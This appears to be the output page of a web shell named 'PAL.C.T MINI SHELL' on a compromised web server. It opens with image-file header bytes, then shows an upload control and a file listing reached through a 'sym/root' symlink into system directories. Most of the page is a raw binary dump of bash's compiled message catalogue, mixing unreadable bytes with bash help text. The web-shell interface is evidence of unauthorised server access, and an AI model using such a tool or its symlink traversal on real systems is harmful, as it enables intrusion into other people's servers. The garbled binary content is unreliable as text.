‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/locale/vi/LC_MESSAGES/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/locale/vi/LC_MESSAGES/bash.mo

Þ•<³\ (+*)+T+;g+$£+
È+Ó+â+é+,,=,	T,^,p,‡,ž,µ,È,æ, ö,-+-;C--–-(­-"Ö-ù-.&+.&R./y./©.Ù.ï../4/S/j/ƒ/Ÿ/½/"Ñ/ô/0070/M0}0“0©0-¼0ê011.1H1Y1y1‘1!ª1Ì1)é12.2E2X2p2„2 ¢2!Ã2å2 ø23
03>3Z3z333°3Ç3ß3ù3
4"4@4&`4‡4¥4»4Ñ4&à435;5X5t5‰5•5¦5
µ5Ã59Ú5#686:6Q6c6ßo6HO:˜=¨=¸=FÄ=??*?7?	C?	M?§W?ÿB»
CÏM1ØMa
N¬lOQ]1SÈTTXX­Z­Ã^qb+„gL°i©ýj§k?©néqîq÷qtrò|uíov•]|žó‡g’ˆ÷úŠò‹ñöŒgèòPuC‘¬¹’×f”w>˜¶™|¾™Ö;šˆ›
››¦›€¿›@Ÿ[ŸvŸË‰ŸU l …    Á ΠÕ 	å ï ¡	¡!¡N(¡Hw¡¾À£,ª=¬«fê¬Q­B`­…£´)¶P.¶¶‹¶”œ¹«1½Óݽø±¿ªÂ¬;ÅèÆ‘ìÇF~ÉFÅÉLÊÆYËS ÍtÍ|Í>ÍËÎКšÓ?5ÚuÜg…ÞÞííKÌòDó]óãmó	Qô[ôcôtôˆôôO©ô*ùõ
$ö/öMöfö6öO¶öCø·JøBýEEý‹ýœý
¯ý½ýÌýÒÿXæÿ?*]
ˆ
–è¤yé`au
˜©»%Ú$	%	9	S	!r	”	±	Í	Ú	'ñ	0
.J
y
9˜
Ò
Û
í
$
2F
We&n'•9½÷’		œ¦!¿
á3ï#
=B
-€
®
'Î
&ö
**H)s)%Ç%í 14#f1Š&¼5ã(!E!g:‰ÄÕ ð1•C#Ù$ý"$/#T'x -¨.Ö$:Pg
‡•³ÇÝ,÷%$,J%w@¬íö,E#Y}@ƒ
ÄÒï-
,8'e.,¼&é06A(x¡)¾è?ùT9ŽŸ
µ8ÃVü&S'z¢ÂÚ(ç#2G"]€5OÃ%7	=G`€
ˆ
“+ž9Ê;$@eYƒÝü -NiHÙè"%+Ht4
ÒDÝ?",b£!º"Ü"ÿ" 4 	O Y [l 0È /ù ))!3S!‡!&¡!2È!5û!,1"
^"
i"1t"I¦"4ð".%#4T#)‰#	³#½# É#"ê#
$)$C$P$&]$=„$Â$Ý$'ô$%3%,P%)}%§%$Æ%ë%&
& &&&"9&\&x&}&+›&%Ç&í&'%!'.G'-v'7¤'6Ü'2(1F(*x(,£(,Ð(;ý(#9)])e){)!–)¸)6Ñ)	*
***"H*k*	‹*•*-¥*-Ó*!+#+3+’B+PÕ,&-AB-G„-
Ì-×-ê-(ð-#.1=.'o.
—.¢.¯.Ï.í.#
/+1/]/+v/¢/¿/CÞ/%"0$H0Qm0*¿0ê0!ý0=1?]1M1Më192S2;m24©2"Þ2'3.)30X3‰31¤3Ö3ñ3.4>4;\4˜4±4 Ê4dë4.P5!5¡5,µ5â5%÷5#6"A6-d6-’6,À6.í67!17&S7!z71œ7 Î7ï78+"8"N8
q8+8(«8+Ô8&9'9'>9)f99'°9Ø9*ï9/:0J:9{:µ:Ë:ã:Aø:Z:;#•;#¹;Ý;ù;
<<0<"E<]h<0Æ<÷<%ù<=
6=D=ŽQAàDøDE]%EƒFŸF¶FÈFàFóFQG+VKŸ
‚K"YA/YòqYd[î„]Ïs`kCb¯fIÀi×
o‰âs$lzª‘}æ<ô#€y„’‡ž‡®‡¥¾‡dŒ7vs®”à"¤¥u¨[‹©TçªM<¬$Нí¯°J²è´¹	»Ï»Û»»÷¼³½ʽêæ½%ÑÁ%÷ÁÂ?4Â!tÖÃ%µÃ'ÛÃ.Ä	2Ä<ÄMÄ!]ÄÄ
•Ä£Äm¯ÄéÅ8È@ПÎÑŠnÓ<ùÓ,	6ÔÅcÝ)ßf0ß—ßê¬ß—ãéªç‹”èž ëm¿îm-òf›ôwöbzøiÝø¿Gù ûw(ý ý­ýMÊý™«²î^uMðÃÊ´!Z'7Ú'(ü,())8)D)^)w))À )Oa+±+(Ã+%ì+$,T7,`Œ,^í-0L.p}4wî4f55š5«5[Ä5 8|88'µ84Ý89/9 L9í;ý=>“5?ÉBáBÿBC'C3AC@uCB¶C'ùC0!D)RDJ|D6ÇDþD#E1AE@sEE´E7úE#2FMVF¤F°F&ÈF)ïFG.G@G
UG2`G3“GMÇG!Hµ7H	íH7÷H!/IQIhcI/ÌI\üIBYJ*œJ@ÇJ>K<GKC„K6ÈK=ÿK9=L6wL4®LQãLF5MO|M9ÌMDNKN,_N,ŒN\¹N>OUO*iO ”ODµO±úO,¬P,ÙPQ*Q*BQ<mQ
ªQ2¸QKëQE7R }RžR½R0ÔRS+SAS]S${S2 SEÓS;TFUTœTG³TûT#U(U3>UrUC‡UËUOÏUV-=V(kV5”V7ÊVVWFYWD W8åWGXLfX6³X.êX0Y4JY`YnàYOZeZ}Z?‘Z~ÑZ*P[){[¥['Å[í[.\#7\[\!r\-”\NÂ\]V.]œ…]"^!@^b^	o^y^)˜^Â^Ñ^ã^-ð^M_Nl_v»_;2`bn`%Ñ`$÷`)a&Fa"ma>a Ïaðaƒ
b'Žb=¶bôbc7"c:ZcM•cãc]ócQdxcdjÜdSGe›e%¯e,Õe/f"2fUfhf	†ffd¥f7
gGBg;ŠgJÆg h>2hEqh<·h;ôh0i
AiDLi]‘i5ïi:%j<`j9j	×jáj$îj,k(@kikƒkk8Ÿk^Øk#7l$[lD€lÅl<ßl7m8Tm$m6²mémnn6n<n6Un Œn­n´n0Òn,o0oNoCkoQ¯oepPgpR¸pGqISqKqKéqK5rVrYØr
2s=sUs1ps"¢s=ÅsttGt5dt0št
ËtÙtQîtQ@u1’u
ÄuÒu®Kþ”6¬vPÖ†£7e:­h4±$y…í¯q:Ø0ÕmRCàÄQbuÁOöj1xž¬¾ÝÏJ#‡æh+îÒ•êSc%€TuIFÅ	&ýŠнŽ@ ˜Wm"ëeÍú7l%6>ÃÑ\.Á£Ø>¤Ÿ1$ÓÏ“Æ(ƒ›«L³Ú_¯üâV«ÛâDo4aw­àôðBd‡^a}ŒU¡ œxïõAnŒ²Š›×á¦Î“w§
·k’º=Cæ_=[¹ªÂÿ,@EoLòåÙô™‰GÎíHnA©…WÉ?Éö.ù¸åfsHzïÂáè|Jê<^ÄI¢¶Gäþ<øVÚÞÛ¢pÀ»–š)Ü´û„'!Ì®]„ý`góEÇ2~&ÔQ8îó9ùiñø;U,{Óºðk5vª/Ü÷¹¿bü—O÷¨Ž–B”"'ñÊçоÞ2r
Åt¿Ê°‹`˲ÝõZ´#]ß-i0ÿ*XÈ
  *ˆ[¥}MÔNXKߟìY§¨ËTs¼‚lµ‹y³N9°†œ‘䙥-ãµÒ	Yò8¡·{ìPƒ|¸È35(’
~gç‰jͦtrSq\€F×c+¶ã!é)fˆ‘d»3ú¤zëÌDÆ—©/é¼ÇšÑ‚ž½MÕ˜ZÃR;ÀpÖ?•Ùèû±timed out waiting for input: auto-logout
	-%s or -o option
	-irsD or -c command or -O shopt_option		(invocation only)

malloc: %s:%d: assertion botched
  (wd: %s) (core dumped) line $%s: cannot assign in this way%c%c: invalid option%d: invalid file descriptor: %s%s can be invoked via %s is %s
%s is a function
%s is a shell builtin
%s is a shell keyword
%s is aliased to `%s'
%s is hashed (%s)
%s is not bound to any keys.
%s out of range%s%s%s: %s (error token is "%s")%s: %s out of range%s: %s: bad interpreter%s: %s: must use subscript when assigning associative array%s: ambiguous job spec%s: ambiguous redirect%s: arguments must be process or job IDs%s: bad network path specification%s: bad substitution%s: binary operator expected%s: cannot assign list to array member%s: cannot assign to non-numeric index%s: cannot convert associative to indexed array%s: cannot convert indexed to associative array%s: cannot create: %s%s: cannot delete: %s%s: cannot destroy array variables in this way%s: cannot execute binary file%s: cannot execute: %s%s: cannot get limit: %s%s: cannot modify limit: %s%s: cannot open temp file: %s%s: cannot open: %s%s: cannot overwrite existing file%s: cannot read: %s%s: cannot unset%s: cannot unset: readonly %s%s: command not found%s: error retrieving current directory: %s: %s
%s: expression error
%s: file is too large%s: file not found%s: first non-whitespace character is not `"'%s: hash table empty
%s: history expansion failed%s: host unknown%s: illegal option -- %c
%s: inlib failed%s: integer expression expected%s: invalid action name%s: invalid array origin%s: invalid associative array key%s: invalid callback quantum%s: invalid file descriptor specification%s: invalid limit argument%s: invalid line count%s: invalid option%s: invalid option name%s: invalid service%s: invalid shell option name%s: invalid signal specification%s: invalid timeout specification%s: is a directory%s: job %d already in background%s: job has terminated%s: line %d: %s: missing colon separator%s: no completion specification%s: no job control%s: no such job%s: not a function%s: not a regular file%s: not a shell builtin%s: not an array variable%s: not dynamically loaded%s: not found%s: numeric argument required%s: option requires an argument%s: option requires an argument -- %c
%s: parameter null or not set%s: readonly function%s: readonly variable%s: restricted%s: restricted: cannot redirect output%s: restricted: cannot specify `/' in command names%s: substring expression < 0%s: unary operator expected%s: unbound variable%s: usage: (( expression ))(core dumped) (wd now: %s)
. filename [arguments]/dev/(tcp|udp)/host/port not supported without networking/tmp must be a valid directory name:<no current directory>ABORT instructionAborting...Add directories to stack.
    
    Adds a directory to the top of the directory stack, or rotates
    the stack, making the new top of the stack the current working
    directory.  With no arguments, exchanges the top two directories.
    
    Options:
      -n	Suppresses the normal change of directory when adding
    	directories to the stack, so only the stack is manipulated.
    
    Arguments:
      +N	Rotates the stack so that the Nth directory (counting
    	from the left of the list shown by `dirs', starting with
    	zero) is at the top.
    
      -N	Rotates the stack so that the Nth directory (counting
    	from the right of the list shown by `dirs', starting with
    	zero) is at the top.
    
      dir	Adds DIR to the directory stack at the top, making it the
    	new current working directory.
    
    The `dirs' builtin displays the directory stack.
    
    Exit Status:
    Returns success unless an invalid argument is supplied or the directory
    change fails.Adds a directory to the top of the directory stack, or rotates
    the stack, making the new top of the stack the current working
    directory.  With no arguments, exchanges the top two directories.
    
    Options:
      -n	Suppresses the normal change of directory when adding
    	directories to the stack, so only the stack is manipulated.
    
    Arguments:
      +N	Rotates the stack so that the Nth directory (counting
    	from the left of the list shown by `dirs', starting with
    	zero) is at the top.
    
      -N	Rotates the stack so that the Nth directory (counting
    	from the right of the list shown by `dirs', starting with
    	zero) is at the top.
    
      dir	Adds DIR to the directory stack at the top, making it the
    	new current working directory.
    
    The `dirs' builtin displays the directory stack.Alarm (profile)Alarm (virtual)Alarm clockArithmetic for loop.
    
    Equivalent to
    	(( EXP1 ))
    	while (( EXP2 )); do
    		COMMANDS
    		(( EXP3 ))
    	done
    EXP1, EXP2, and EXP3 are arithmetic expressions.  If any expression is
    omitted, it behaves as if it evaluates to 1.
    
    Exit Status:
    Returns the status of the last command executed.BPT trace/trapBad system callBogus signalBroken pipeBus errorCPU limitChange the shell working directory.
    
    Change the current directory to DIR.  The default DIR is the value of the
    HOME shell variable.
    
    The variable CDPATH defines the search path for the directory containing
    DIR.  Alternative directory names in CDPATH are separated by a colon (:).
    A null directory name is the same as the current directory.  If DIR begins
    with a slash (/), then CDPATH is not used.
    
    If the directory is not found, and the shell option `cdable_vars' is set,
    the word is assumed to be  a variable name.  If that variable has a value,
    its value is used for DIR.
    
    Options:
        -L	force symbolic links to be followed
        -P	use the physical directory structure without following symbolic
    	links
    
    The default is to follow symbolic links, as if `-L' were specified.
    
    Exit Status:
    Returns 0 if the directory is changed; non-zero otherwise.Child death or stopCommon shell variable names and usage.
    
    BASH_VERSION	Version information for this Bash.
    CDPATH	A colon-separated list of directories to search
    		for directories given as arguments to `cd'.
    GLOBIGNORE	A colon-separated list of patterns describing filenames to
    		be ignored by pathname expansion.
    HISTFILE	The name of the file where your command history is stored.
    HISTFILESIZE	The maximum number of lines this file can contain.
    HISTSIZE	The maximum number of history lines that a running
    		shell can access.
    HOME	The complete pathname to your login directory.
    HOSTNAME	The name of the current host.
    HOSTTYPE	The type of CPU this version of Bash is running under.
    IGNOREEOF	Controls the action of the shell on receipt of an EOF
    		character as the sole input.  If set, then the value
    		of it is the number of EOF characters that can be seen
    		in a row on an empty line before the shell will exit
    		(default 10).  When unset, EOF signifies the end of input.
    MACHTYPE	A string describing the current system Bash is running on.
    MAILCHECK	How often, in seconds, Bash checks for new mail.
    MAILPATH	A colon-separated list of filenames which Bash checks
    		for new mail.
    OSTYPE	The version of Unix this version of Bash is running on.
    PATH	A colon-separated list of directories to search when
    		looking for commands.
    PROMPT_COMMAND	A command to be executed before the printing of each
    		primary prompt.
    PS1		The primary prompt string.
    PS2		The secondary prompt string.
    PWD		The full pathname of the current directory.
    SHELLOPTS	A colon-separated list of enabled shell options.
    TERM	The name of the current terminal type.
    TIMEFORMAT	The output format for timing statistics displayed by the
    		`time' reserved word.
    auto_resume	Non-null means a command word appearing on a line by
    		itself is first looked for in the list of currently
    		stopped jobs.  If found there, that job is foregrounded.
    		A value of `exact' means that the command word must
    		exactly match a command in the list of stopped jobs.  A
    		value of `substring' means that the command word must
    		match a substring of the job.  Any other value means that
    		the command must be a prefix of a stopped job.
    histchars	Characters controlling history expansion and quick
    		substitution.  The first character is the history
    		substitution character, usually `!'.  The second is
    		the `quick substitution' character, usually `^'.  The
    		third is the `history comment' character, usually `#'.
    HISTIGNORE	A colon-separated list of patterns used to decide which
    		commands should be saved on the history list.
ContinueCopyright (C) 2009 Free Software Foundation, Inc.Create a coprocess named NAME.
    
    Execute COMMAND asynchronously, with the standard output and standard
    input of the command connected via a pipe to file descriptors assigned
    to indices 0 and 1 of an array variable NAME in the executing shell.
    The default NAME is "COPROC".
    
    Exit Status:
    Returns the exit status of COMMAND.Define local variables.
    
    Create a local variable called NAME, and give it VALUE.  OPTION can
    be any option accepted by `declare'.
    
    Local variables can only be used within a function; they are visible
    only to the function where they are defined and its children.
    
    Exit Status:
    Returns success unless an invalid option is supplied, an error occurs,
    or the shell is not executing a function.Define or display aliases.
    
    Without arguments, `alias' prints the list of aliases in the reusable
    form `alias NAME=VALUE' on standard output.
    
    Otherwise, an alias is defined for each NAME whose VALUE is given.
    A trailing space in VALUE causes the next word to be checked for
    alias substitution when the alias is expanded.
    
    Options:
      -p	Print all defined aliases in a reusable format
    
    Exit Status:
    alias returns true unless a NAME is supplied for which no alias has been
    defined.Define shell function.
    
    Create a shell function named NAME.  When invoked as a simple command,
    NAME runs COMMANDs in the calling shell's context.  When NAME is invoked,
    the arguments are passed to the function as $1...$n, and the function's
    name is in $FUNCNAME.
    
    Exit Status:
    Returns success unless NAME is readonly.Display directory stack.
    
    Display the list of currently remembered directories.  Directories
    find their way onto the list with the `pushd' command; you can get
    back up through the list with the `popd' command.
    
    Options:
      -c	clear the directory stack by deleting all of the elements
      -l	do not print tilde-prefixed versions of directories relative
    	to your home directory
      -p	print the directory stack with one entry per line
      -v	print the directory stack with one entry per line prefixed
    	with its position in the stack
    
    Arguments:
      +N	Displays the Nth entry counting from the left of the list shown by
    	dirs when invoked without options, starting with zero.
    
      -N	Displays the Nth entry counting from the right of the list shown by
    	dirs when invoked without options, starting with zero.
    
    Exit Status:
    Returns success unless an invalid option is supplied or an error occurs.Display information about builtin commands.
    
    Displays brief summaries of builtin commands.  If PATTERN is
    specified, gives detailed help on all commands matching PATTERN,
    otherwise the list of help topics is printed.
    
    Options:
      -d	output short description for each topic
      -m	display usage in pseudo-manpage format
      -s	output only a short usage synopsis for each topic matching
    	PATTERN
    
    Arguments:
      PATTERN	Pattern specifiying a help topic
    
    Exit Status:
    Returns success unless PATTERN is not found or an invalid option is given.Display information about command type.
    
    For each NAME, indicate how it would be interpreted if used as a
    command name.
    
    Options:
      -a	display all locations containing an executable named NAME;
    	includes aliases, builtins, and functions, if and only if
    	the `-p' option is not also used
      -f	suppress shell function lookup
      -P	force a PATH search for each NAME, even if it is an alias,
    	builtin, or function, and returns the name of the disk file
    	that would be executed
      -p	returns either the name of the disk file that would be executed,
    	or nothing if `type -t NAME' would not return `file'.
      -t	output a single word which is one of `alias', `keyword',
    	`function', `builtin', `file' or `', if NAME is an alias, shell
    	reserved word, shell function, shell builtin, disk file, or not
    	found, respectively
    
    Arguments:
      NAME	Command name to be interpreted.
    
    Exit Status:
    Returns success if all of the NAMEs are found; fails if any are not found.Display or execute commands from the history list.
    
    fc is used to list or edit and re-execute commands from the history list.
    FIRST and LAST can be numbers specifying the range, or FIRST can be a
    string, which means the most recent command beginning with that
    string.
    
    Options:
      -e ENAME	select which editor to use.  Default is FCEDIT, then EDITOR,
    		then vi
      -l 	list lines instead of editing
      -n	omit line numbers when listing
      -r	reverse the order of the lines (newest listed first)
    
    With the `fc -s [pat=rep ...] [command]' format, COMMAND is
    re-executed after the substitution OLD=NEW is performed.
    
    A useful alias to use with this is r='fc -s', so that typing `r cc'
    runs the last command beginning with `cc' and typing `r' re-executes
    the last command.
    
    Exit Status:
    Returns success or status of executed command; non-zero if an error occurs.Display or manipulate the history list.
    
    Display the history list with line numbers, prefixing each modified
    entry with a `*'.  An argument of N lists only the last N entries.
    
    Options:
      -c	clear the history list by deleting all of the entries
      -d offset	delete the history entry at offset OFFSET.
    
      -a	append history lines from this session to the history file
      -n	read all history lines not already read from the history file
      -r	read the history file and append the contents to the history
    	list
      -w	write the current history to the history file
    	and append them to the history list
    
      -p	perform history expansion on each ARG and display the result
    	without storing it in the history list
      -s	append the ARGs to the history list as a single entry
    
    If FILENAME is given, it is used as the history file.  Otherwise,
    if $HISTFILE has a value, that is used, else ~/.bash_history.
    
    If the $HISTTIMEFORMAT variable is set and not null, its value is used
    as a format string for strftime(3) to print the time stamp associated
    with each displayed history entry.  No time stamps are printed otherwise.
    
    Exit Status:
    Returns success unless an invalid option is given or an error occurs.Display or set file mode mask.
    
    Sets the user file-creation mask to MODE.  If MODE is omitted, prints
    the current value of the mask.
    
    If MODE begins with a digit, it is interpreted as an octal number;
    otherwise it is a symbolic mode string like that accepted by chmod(1).
    
    Options:
      -p	if MODE is omitted, output in a form that may be reused as input
      -S	makes the output symbolic; otherwise an octal number is output
    
    Exit Status:
    Returns success unless MODE is invalid or an invalid option is given.Display possible completions depending on the options.
    
    Intended to be used from within a shell function generating possible
    completions.  If the optional WORD argument is supplied, matches against
    WORD are generated.
    
    Exit Status:
    Returns success unless an invalid option is supplied or an error occurs.Display process times.
    
    Prints the accumulated user and system times for the shell and all of its
    child processes.
    
    Exit Status:
    Always succeeds.Display status of jobs.
    
    Lists the active jobs.  JOBSPEC restricts output to that job.
    Without options, the status of all active jobs is displayed.
    
    Options:
      -l	lists process IDs in addition to the normal information
      -n	list only processes that have changed status since the last
    	notification
      -p	lists process IDs only
      -r	restrict output to running jobs
      -s	restrict output to stopped jobs
    
    If -x is supplied, COMMAND is run after all job specifications that
    appear in ARGS have been replaced with the process ID of that job's
    process group leader.
    
    Exit Status:
    Returns success unless an invalid option is given or an error occurs.
    If -x is used, returns the exit status of COMMAND.Display the list of currently remembered directories.  Directories
    find their way onto the list with the `pushd' command; you can get
    back up through the list with the `popd' command.
    
    Options:
      -c	clear the directory stack by deleting all of the elements
      -l	do not print tilde-prefixed versions of directories relative
    	to your home directory
      -p	print the directory stack with one entry per line
      -v	print the directory stack with one entry per line prefixed
    	with its position in the stack
    
    Arguments:
      +N	Displays the Nth entry counting from the left of the list shown by
    	dirs when invoked without options, starting with zero.
    
      -N	Displays the Nth entry counting from the right of the list shown by
	dirs when invoked without options, starting with zero.DoneDone(%d)EMT instructionEnable and disable shell builtins.
    
    Enables and disables builtin shell commands.  Disabling allows you to
    execute a disk command which has the same name as a shell builtin
    without using a full pathname.
    
    Options:
      -a	print a list of builtins showing whether or not each is enabled
      -n	disable each NAME or display a list of disabled builtins
      -p	print the list of builtins in a reusable format
      -s	print only the names of Posix `special' builtins
    
    Options controlling dynamic loading:
      -f	Load builtin NAME from shared object FILENAME
      -d	Remove a builtin loaded with -f
    
    Without options, each NAME is enabled.
    
    To use the `test' found in $PATH instead of the shell builtin
    version, type `enable -n test'.
    
    Exit Status:
    Returns success unless NAME is not a shell builtin or an error occurs.Evaluate arithmetic expression.
    
    The EXPRESSION is evaluated according to the rules for arithmetic
    evaluation.  Equivalent to "let EXPRESSION".
    
    Exit Status:
    Returns 1 if EXPRESSION evaluates to 0; returns 0 otherwise.Evaluate arithmetic expressions.
    
    Evaluate each ARG as an arithmetic expression.  Evaluation is done in
    fixed-width integers with no check for overflow, though division by 0
    is trapped and flagged as an error.  The following list of operators is
    grouped into levels of equal-precedence operators.  The levels are listed
    in order of decreasing precedence.
    
    	id++, id--	variable post-increment, post-decrement
    	++id, --id	variable pre-increment, pre-decrement
    	-, +		unary minus, plus
    	!, ~		logical and bitwise negation
    	**		exponentiation
    	*, /, %		multiplication, division, remainder
    	+, -		addition, subtraction
    	<<, >>		left and right bitwise shifts
    	<=, >=, <, >	comparison
    	==, !=		equality, inequality
    	&		bitwise AND
    	^		bitwise XOR
    	|		bitwise OR
    	&&		logical AND
    	||		logical OR
    	expr ? expr : expr
    			conditional operator
    	=, *=, /=, %=,
    	+=, -=, <<=, >>=,
    	&=, ^=, |=	assignment
    
    Shell variables are allowed as operands.  The name of the variable
    is replaced by its value (coerced to a fixed-width integer) within
    an expression.  The variable need not have its integer attribute
    turned on to be used in an expression.
    
    Operators are evaluated in order of precedence.  Sub-expressions in
    parentheses are evaluated first and may override the precedence
    rules above.
    
    Exit Status:
    If the last ARG evaluates to 0, let returns 1; let returns 0 otherwise..Evaluate conditional expression.
    
    Exits with a status of 0 (true) or 1 (false) depending on
    the evaluation of EXPR.  Expressions may be unary or binary.  Unary
    expressions are often used to examine the status of a file.  There
    are string operators as well, and numeric comparison operators.
    
    File operators:
    
      -a FILE        True if file exists.
      -b FILE        True if file is block special.
      -c FILE        True if file is character special.
      -d FILE        True if file is a directory.
      -e FILE        True if file exists.
      -f FILE        True if file exists and is a regular file.
      -g FILE        True if file is set-group-id.
      -h FILE        True if file is a symbolic link.
      -L FILE        True if file is a symbolic link.
      -k FILE        True if file has its `sticky' bit set.
      -p FILE        True if file is a named pipe.
      -r FILE        True if file is readable by you.
      -s FILE        True if file exists and is not empty.
      -S FILE        True if file is a socket.
      -t FD          True if FD is opened on a terminal.
      -u FILE        True if the file is set-user-id.
      -w FILE        True if the file is writable by you.
      -x FILE        True if the file is executable by you.
      -O FILE        True if the file is effectively owned by you.
      -G FILE        True if the file is effectively owned by your group.
      -N FILE        True if the file has been modified since it was last read.
    
      FILE1 -nt FILE2  True if file1 is newer than file2 (according to
                       modification date).
    
      FILE1 -ot FILE2  True if file1 is older than file2.
    
      FILE1 -ef FILE2  True if file1 is a hard link to file2.
    
    String operators:
    
      -z STRING      True if string is empty.
    
      -n STRING
         STRING      True if string is not empty.
    
      STRING1 = STRING2
                     True if the strings are equal.
      STRING1 != STRING2
                     True if the strings are not equal.
      STRING1 < STRING2
                     True if STRING1 sorts before STRING2 lexicographically.
      STRING1 > STRING2
                     True if STRING1 sorts after STRING2 lexicographically.
    
    Other operators:
    
      -o OPTION      True if the shell option OPTION is enabled.
      ! EXPR         True if expr is false.
      EXPR1 -a EXPR2 True if both expr1 AND expr2 are true.
      EXPR1 -o EXPR2 True if either expr1 OR expr2 is true.
    
      arg1 OP arg2   Arithmetic tests.  OP is one of -eq, -ne,
                     -lt, -le, -gt, or -ge.
    
    Arithmetic binary operators return true if ARG1 is equal, not-equal,
    less-than, less-than-or-equal, greater-than, or greater-than-or-equal
    than ARG2.
    
    Exit Status:
    Returns success if EXPR evaluates to true; fails if EXPR evaluates to
    false or an invalid argument is given.Evaluate conditional expression.
    
    This is a synonym for the "test" builtin, but the last argument must
    be a literal `]', to match the opening `['.Execute a simple command or display information about commands.
    
    Runs COMMAND with ARGS suppressing  shell function lookup, or display
    information about the specified COMMANDs.  Can be used to invoke commands
    on disk when a function with the same name exists.
    
    Options:
      -p	use a default value for PATH that is guaranteed to find all of
    	the standard utilities
      -v	print a description of COMMAND similar to the `type' builtin
      -V	print a more verbose description of each COMMAND
    
    Exit Status:
    Returns exit status of COMMAND, or failure if COMMAND is not found.Execute arguments as a shell command.
    
    Combine ARGs into a single string, use the result as input to the shell,
    and execute the resulting commands.
    
    Exit Status:
    Returns exit status of command or success if command is null.Execute commands as long as a test does not succeed.
    
    Expand and execute COMMANDS as long as the final command in the
    `until' COMMANDS has an exit status which is not zero.
    
    Exit Status:
    Returns the status of the last command executed.Execute commands as long as a test succeeds.
    
    Expand and execute COMMANDS as long as the final command in the
    `while' COMMANDS has an exit status of zero.
    
    Exit Status:
    Returns the status of the last command executed.Execute commands based on conditional.
    
    The `if COMMANDS' list is executed.  If its exit status is zero, then the
    `then COMMANDS' list is executed.  Otherwise, each `elif COMMANDS' list is
    executed in turn, and if its exit status is zero, the corresponding
    `then COMMANDS' list is executed and the if command completes.  Otherwise,
    the `else COMMANDS' list is executed, if present.  The exit status of the
    entire construct is the exit status of the last command executed, or zero
    if no condition tested true.
    
    Exit Status:
    Returns the status of the last command executed.Execute commands based on pattern matching.
    
    Selectively execute COMMANDS based upon WORD matching PATTERN.  The
    `|' is used to separate multiple patterns.
    
    Exit Status:
    Returns the status of the last command executed.Execute commands for each member in a list.
    
    The `for' loop executes a sequence of commands for each member in a
    list of items.  If `in WORDS ...;' is not present, then `in "$@"' is
    assumed.  For each element in WORDS, NAME is set to that element, and
    the COMMANDS are executed.
    
    Exit Status:
    Returns the status of the last command executed.Execute commands from a file in the current shell.
    
    Read and execute commands from FILENAME in the current shell.  The
    entries in $PATH are used to find the directory containing FILENAME.
    If any ARGUMENTS are supplied, they become the positional parameters
    when FILENAME is executed.
    
    Exit Status:
    Returns the status of the last command executed in FILENAME; fails if
    FILENAME cannot be read.Execute conditional command.
    
    Returns a status of 0 or 1 depending on the evaluation of the conditional
    expression EXPRESSION.  Expressions are composed of the same primaries used
    by the `test' builtin, and may be combined using the following operators:
    
      ( EXPRESSION )	Returns the value of EXPRESSION
      ! EXPRESSION		True if EXPRESSION is false; else false
      EXPR1 && EXPR2	True if both EXPR1 and EXPR2 are true; else false
      EXPR1 || EXPR2	True if either EXPR1 or EXPR2 is true; else false
    
    When the `==' and `!=' operators are used, the string to the right of
    the operator is used as a pattern and pattern matching is performed.
    When the `=~' operator is used, the string to the right of the operator
    is matched as a regular expression.
    
    The && and || operators do not evaluate EXPR2 if EXPR1 is sufficient to
    determine the expression's value.
    
    Exit Status:
    0 or 1 depending on value of EXPRESSION.Execute shell builtins.
    
    Execute SHELL-BUILTIN with arguments ARGs without performing command
    lookup.  This is useful when you wish to reimplement a shell builtin
    as a shell function, but need to execute the builtin within the function.
    
    Exit Status:
    Returns the exit status of SHELL-BUILTIN, or false if SHELL-BUILTIN is
    not a shell builtin..Exit %dExit a login shell.
    
    Exits a login shell with exit status N.  Returns an error if not executed
    in a login shell.Exit for, while, or until loops.
    
    Exit a FOR, WHILE or UNTIL loop.  If N is specified, break N enclosing
    loops.
    
    Exit Status:
    The exit status is 0 unless N is not greater than or equal to 1.Exit the shell.
    
    Exits the shell with a status of N.  If N is omitted, the exit status
    is that of the last command executed.File limitFloating point exceptionFormats and prints ARGUMENTS under control of the FORMAT.
    
    Options:
      -v var	assign the output to shell variable VAR rather than
    		display it on the standard output
    
    FORMAT is a character string which contains three types of objects: plain
    characters, which are simply copied to standard output; character escape
    sequences, which are converted and copied to the standard output; and
    format specifications, each of which causes printing of the next successive
    argument.
    
    In addition to the standard format specifications described in printf(1)
    and printf(3), printf interprets:
    
      %b	expand backslash escape sequences in the corresponding argument
      %q	quote the argument in a way that can be reused as shell input
    
    Exit Status:
    Returns success unless an invalid option is given or a write or assignment
    error occurs.GNU bash, version %s (%s)
GNU bash, version %s-(%s)
GNU long options:
Group commands as a unit.
    
    Run a set of commands in a group.  This is one way to redirect an
    entire set of commands.
    
    Exit Status:
    Returns the status of the last command executed.HFT input data pendingHFT monitor mode grantedHFT monitor mode retractedHFT sound sequence has completedHOME not setHangupI have no name!I/O readyIllegal instructionInformation requestInterruptKilledLicense GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
Mark shell variables as unchangeable.
    
    Mark each NAME as read-only; the values of these NAMEs may not be
    changed by subsequent assignment.  If VALUE is supplied, assign VALUE
    before marking as read-only.
    
    Options:
      -a	refer to indexed array variables
      -A	refer to associative array variables
      -f	refer to shell functions
      -p	display a list of all readonly variables and functions
    
    An argument of `--' disables further option processing.
    
    Exit Status:
    Returns success unless an invalid option is given or NAME is invalid.Modify shell resource limits.
    
    Provides control over the resources available to the shell and processes
    it creates, on systems that allow such control.
    
    Options:
      -S	use the `soft' resource limit
      -H	use the `hard' resource limit
      -a	all current limits are reported
      -b	the socket buffer size
      -c	the maximum size of core files created
      -d	the maximum size of a process's data segment
      -e	the maximum scheduling priority (`nice')
      -f	the maximum size of files written by the shell and its children
      -i	the maximum number of pending signals
      -l	the maximum size a process may lock into memory
